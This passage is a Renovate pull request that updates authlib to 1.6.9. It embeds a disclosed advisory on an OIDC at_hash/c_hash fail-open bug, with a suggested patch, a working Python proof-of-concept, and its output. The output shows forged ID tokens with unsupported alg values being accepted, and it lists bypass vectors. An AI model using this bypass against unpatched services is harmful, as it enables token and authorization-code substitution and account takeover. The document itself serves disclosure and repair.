  • RFC 8725 § 3.1.1: "Libraries MUST NOT trust the signature without verifying it according to the algorithm... if validation fails, the token MUST be rejected." Authlib's implementation effectively "trusts" the hash when it cannot verify the algorithm.

IETF JSON Web Signature (JWS)

  • RFC 7515 § 5.2 (JWS Validation): Cryptographic validations must reject the payload if the specified parameters are unsupported. By returning True for an UnsupportedAlgorithm state, Authlib violates robust application security logic.

5. Remediation Recommendation

The _verify_hash function must be patched to enforce a Fail-Closed posture. If an algorithm is unsupported and cannot produce a hash for comparison, the validation must fail immediately.

Suggested Patch (authlib/oidc/core/claims.py):

def _verify_hash(signature, s, alg):
    hash_value = create_half_hash(s, alg)
    if hash_value is None:
        # FAIL-CLOSED: The algorithm is unsupported, reject the token.
        return False
    return hmac.compare_digest(hash_value, to_bytes(signature))

6. Proof of Concept (PoC)

The following standalone script mathematically demonstrates the vulnerability across the Root Cause, Implicit Flow (at_hash), Hybrid Flow (c_hash), and the entire attack surface. It utilizes Authlib's own validation logic to prove the Fail-Open behavior.```bash

python3 -m venv venv
source venv/bin/activate
pip install authlib cryptography
python3 -c "import authlib; print(authlib.__version__)"

# → 1.6.8
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

"""
@&#8203;title          OIDC at_hash / c_hash Verification Bypass
@&#8203;affected       authlib <= 1.6.8
@&#8203;file           authlib/oidc/core/claims.py :: _verify_hash()
@&#8203;notice         _verify_hash() retorna True cuando create_half_hash() retorna
                None (alg no soportado), causando Fail-Open en la verificacion
                de binding entre ID Token y Access Token / Authorization Code.
@&#8203;dev            Reproduce el bypass directamente contra el codigo de authlib
                sin mocks. Todas las llamadas son al modulo real instalado.
"""

import hmac
import hashlib
import base64
import time

import authlib
from authlib.common.encoding   import to_bytes
from authlib.oidc.core.util    import create_half_hash
from authlib.oidc.core.claims  import IDToken, HybridIDToken
from authlib.oidc.core.claims  import _verify_hash as authlib_verify_hash

# ─── helpers ──────────────────────────────────────────────────────────────────

R   = "\033[0m"
RED = "\033[91m"
GRN = "\033[92m"
YLW = "\033[93m"
CYN = "\033[96m"
BLD = "\033[1m"
DIM = "\033[2m"

def header(title):
    print(f"\n{CYN}{'─' * 64}{R}")
    print(f"{BLD}{title}{R}")
    print(f"{CYN}{'─' * 64}{R}")

def ok(msg):   print(f"  {GRN}[OK]      {R}{msg}")
def fail(msg): print(f"  {RED}[BYPASS]  {R}{BLD}{msg}{R}")
def info(msg): print(f"  {DIM}          {msg}{R}")

def at_hash_correct(token: str, alg: str) -> str:
    """
    @&#8203;notice  Computa at_hash segun OIDC Core 1.0 s3.2.2.9.
    @&#8203;param   token  Access token ASCII
    @&#8203;param   alg    Algoritmo del header del ID Token
    @&#8203;return  str    at_hash en Base64url sin padding
    """
    fn = {"256": hashlib.sha256, "384": hashlib.sha384, "512": hashlib.sha512}
    digest = fn.get(alg[-3:], hashlib.sha256)(token.encode()).digest()
    return base64.urlsafe_b64encode(digest[:len(digest)//2]).rstrip(b"=").decode()

def _verify_hash_patched(signature: str, s: str, alg: str) -> bool:
    """
    @&#8203;notice  Version corregida de _verify_hash() con semantica Fail-Closed.
    @&#8203;dev     Fix: `if not hash_value` -> `if hash_value is None`
             None es falsy en Python, pero b"" no lo es. El chequeo original
             no distingue entre "algoritmo no soportado" y "hash vacio".
    """
    hash_value = create_half_hash(s, alg)
    if hash_value is None:
        return False
    return hmac.compare_digest(hash_value, to_bytes(signature))

# ─── test 1: root cause ───────────────────────────────────────────────────────

def test_root_cause():
    """
    @&#8203;notice  Demuestra que create_half_hash() retorna None para alg desconocido
             y que _verify_hash() interpreta ese None como verificacion exitosa.
    """
    header("TEST 1 - Root Cause: create_half_hash() + _verify_hash()")

    token    = "real_access_token_from_AS"
    fake_sig = "AAAAAAAAAAAAAAAAAAAAAA"
    alg      = "CUSTOM_ALG"

    half_hash = create_half_hash(token, alg)
    info(f"create_half_hash(token, {alg!r})  ->  {half_hash!r}  (None = alg no soportado)")

    result_vuln    = authlib_verify_hash(fake_sig, token, alg)
    result_patched = _verify_hash_patched(fake_sig, token, alg)

    print()
    if result_vuln:
        fail(f"authlib _verify_hash() retorno True con firma falsa y alg={alg!r}")
    else:
        ok(f"authlib _verify_hash() retorno False")

    if not result_patched:
        ok(f"_verify_hash_patched() retorno False (fail-closed correcto)")
    else:
        fail(f"_verify_hash_patched() retorno True")

# ─── test 2: IDToken.validate_at_hash() bypass ────────────────────────────────

def test_at_hash_bypass():
    """
    @&#8203;notice  Demuestra el bypass end-to-end en IDToken.validate_at_hash().
             El atacante modifica el header alg del JWT a un valor no soportado.
             validate_at_hash() no levanta excepcion -> token aceptado.

    @&#8203;dev     Flujo real de authlib:
               validate_at_hash() -> _verify_hash(at_hash, access_token, alg)
               -> create_half_hash(access_token, "CUSTOM_ALG") -> None
               -> `if not None` -> True -> no InvalidClaimError -> BYPASS
    """
    header("TEST 2 - IDToken.validate_at_hash() Bypass (Implicit / Hybrid Flow)")

    real_token  = "ya29.LEGITIMATE_token_from_real_AS"
    evil_token  = "ya29.MALICIOUS_token_under_attacker_control"
    fake_at_hash = "FAAAAAAAAAAAAAAAAAAAA"

    # --- caso A: token legitimo con alg correcto ---
    correct_hash = at_hash_correct(real_token, "RS256")
    token_legit  = IDToken(
        {"iss": "https://idp.example.com", "sub": "user", "aud": "client",
         "exp": int(time.time()) + 3600, "iat": int(time.time()),
         "at_hash": correct_hash},
        {"access_token": real_token}
    )
    token_legit.header = {"alg": "RS256"}

    try:
        token_legit.validate_at_hash()
        ok(f"Caso A (legitimo, RS256):  at_hash={correct_hash}  ->  aceptado")
    except Exception as e:
        fail(f"Caso A rechazo el token legitimo: {e}")

    # --- caso B: token malicioso con alg forjado ---
    token_forged = IDToken(
        {"iss": "https://idp.example.com", "sub": "user", "aud": "client",
         "exp": int(time.time()) + 3600, "iat": int(time.time()),
         "at_hash": fake_at_hash},
        {"access_token": evil_token}
    )
    token_forged.header = {"alg": "CUSTOM_ALG"}

    try:
        token_forged.validate_at_hash()
        fail(f"Caso B (atacante, alg=CUSTOM_ALG):  at_hash={fake_at_hash}  ->  BYPASS exitoso")
        info(f"access_token del atacante aceptado: {evil_token}")
    except Exception as e:
        ok(f"Caso B rechazado correctamente: {e}")

# ─── test 3: HybridIDToken.validate_c_hash() bypass ──────────────────────────

def test_c_hash_bypass():
    """
    @&#8203;notice  Mismo bypass pero para c_hash en Hybrid Flow.
             Permite Authorization Code Substitution Attack.
    @&#8203;dev     OIDC Core 1.0 s3.3.2.11 exige verificacion obligatoria de c_hash.
             Authlib la omite cuando el alg es desconocido.
    """
    header("TEST 3 - HybridIDToken.validate_c_hash() Bypass (Hybrid Flow)")

    real_code  = "SplxlOBeZQQYbYS6WxSbIA"
    evil_code  = "ATTACKER_FORGED_AUTH_CODE"
    fake_chash = "ZZZZZZZZZZZZZZZZZZZZZZ"

    token = HybridIDToken(
        {"iss": "https://idp.example.com", "sub": "user", "aud": "client",
         "exp": int(time.time()) + 3600, "iat": int(time.time()),
         "nonce": "n123", "at_hash": "AAAA", "c_hash": fake_chash},
        {"code": evil_code, "access_token": "sometoken"}
    )
    token.header = {"alg": "XX9999"}

    try:
        token.validate_c_hash()
        fail(f"c_hash={fake_chash!r} aceptado con alg=XX9999 -> Authorization Code Substitution posible")
        info(f"code del atacante aceptado: {evil_code}")
    except Exception as e:
        ok(f"Rechazado correctamente: {e}")

# ─── test 4: superficie de ataque ─────────────────────────────────────────────

def test_attack_surface():
    """
    @&#8203;notice  Mapea todos los valores de alg que disparan el bypass.
    @&#8203;dev     create_half_hash hace: getattr(hashlib, f"sha{alg[2:]}", None)
             Cualquier string que no resuelva a un atributo de hashlib -> None -> bypass.
    """
    header("TEST 4 - Superficie de Ataque")

    token    = "test_token"
    fake_sig = "AAAAAAAAAAAAAAAAAAAAAA"

    vectors = [
        "CUSTOM_ALG", "XX9999", "none", "None", "", "RS", "SHA256",
        "HS0", "EdDSA256", "PS999", "RS 256", "../../../etc", "' OR '1'='1",
    ]

    print(f"  {'alg':<22}  {'half_hash':<10}  resultado")
    print(f"  {'-'*22}  {'-'*10}  {'-'*20}")

    for alg in vectors:
        hv     = create_half_hash(token, alg)
        result = authlib_verify_hash(fake_sig, token, alg)
        hv_str = "None" if hv is None else "bytes"
        res_str = f"{RED}BYPASS{R}" if result else f"{GRN}OK{R}"
        print(f"  {alg!r:<22}  {hv_str:<10}  {res_str}")

# ─── main ─────────────────────────────────────────────────────────────────────

if __name__ == "__main__":
    print(f"\n{BLD}authlib {authlib.__version__} - OIDC Hash Verification Bypass PoC{R}")
    print(f"authlib/oidc/core/claims.py :: _verify_hash() \n")

    test_root_cause()
    test_at_hash_bypass()
    test_c_hash_bypass()
    test_attack_surface()

    print(f"\n{DIM}Fix: `if not hash_value` -> `if hash_value is None` en _verify_hash(){R}\n")

Output

uthlib 1.6.8 - OIDC Hash Verification Bypass PoC
authlib/oidc/core/claims.py :: _verify_hash() 

────────────────────────────────────────────────────────────────
TEST 1 - Root Cause: create_half_hash() + _verify_hash()
────────────────────────────────────────────────────────────────
            create_half_hash(token, 'CUSTOM_ALG')  ->  None  (None = alg no soportado)

  [BYPASS]  authlib _verify_hash() retorno True con firma falsa y alg='CUSTOM_ALG'
  [OK]      _verify_hash_patched() retorno False (fail-closed correcto)

────────────────────────────────────────────────────────────────
TEST 2 - IDToken.validate_at_hash() Bypass (Implicit / Hybrid Flow)
────────────────────────────────────────────────────────────────
  [OK]      Caso A (legitimo, RS256):  at_hash=gh_beqqliVkRPAXdOz2Gbw  ->  aceptado
  [BYPASS]  Caso B (atacante, alg=CUSTOM_ALG):  at_hash=FAAAAAAAAAAAAAAAAAAAA  ->  BYPASS exitoso
            access_token del atacante aceptado: ya29.MALICIOUS_token_under_attacker_control

────────────────────────────────────────────────────────────────
TEST 3 - HybridIDToken.validate_c_hash() Bypass (Hybrid Flow)
────────────────────────────────────────────────────────────────
  [BYPASS]  c_hash='ZZZZZZZZZZZZZZZZZZZZZZ' aceptado con alg=XX9999 -> Authorization Code Substitution posible
            code del atacante aceptado: ATTACKER_FORGED_AUTH_CODE

────────────────────────────────────────────────────────────────
TEST 4 - Superficie de Ataque
────────────────────────────────────────────────────────────────
  alg                     half_hash   resultado
  ----------------------  ----------  --------------------
  'CUSTOM_ALG'            None        BYPASS
  'XX9999'                None        BYPASS
  'none'                  None        BYPASS
  'None'                  None        BYPASS
  ''                      None        BYPASS
  'RS'                    None        BYPASS
  'SHA256'                None        BYPASS
  'HS0'                   None        BYPASS
  'EdDSA256'              None        BYPASS
  'PS999'                 None        BYPASS
  'RS 256'                None        BYPASS
  '../../../etc'          None        BYPASS
  "' OR '1'='1"           None        BYPASS

Fix: `if not hash_value` -> `if hash_value is None` en _verify_hash()

Release Notes

authlib/authlib (authlib)

v1.6.9

Compare Source

Full Changelog: authlib/authlib@v1.6.8...v1.6.9

Changes in jose module

  • Not using header's jwk automatically
  • Add ES256K into default jwt algorithms
  • Remove deprecated algorithm from default registry
  • Generate random cek when cek length doesn't match

Configuration

📅 Schedule: Branch creation - "" in timezone UTC, Automerge - At any time (no schedule defined).

🚦 Automerge: Enabled.

Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR has been generated by Renovate Bot.

@a-klos a-klos added python Pull requests that update python code renovate labels Mar 22, 2026
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

python Pull requests that update python code renovate

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants